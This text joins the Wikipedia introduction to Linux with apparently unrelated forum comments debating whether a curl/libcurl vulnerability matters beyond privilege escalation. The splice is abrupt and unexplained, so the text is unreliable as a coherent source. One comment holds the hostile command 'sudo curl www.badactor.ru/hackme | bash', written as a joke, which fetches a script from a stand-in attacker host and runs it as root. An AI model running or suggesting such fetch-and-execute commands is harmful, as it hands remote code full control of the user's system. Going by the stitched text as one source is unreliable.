From Wikipedia, the free encyclopedia
Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).
Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.

I don't see how a vulnerability in Curl can exist at all unless it's privilege escalation (you don't run curl as root do you?) And if it's not a privilege escalation, then it sounds like it's just a "root user can do things that you can do as root, possibly unintended" which isn't a vulnerability at all.
sudo curl www.badactor.ru/hackme | bash !!!!
Could be an RCE exploit. Doesn't matter if it's privilege escalation at that point because it can be used to execute a payload that can.
To top it of it seems it's also contained in libcurl, and getting RCEd just by doing a request does not sound fun.
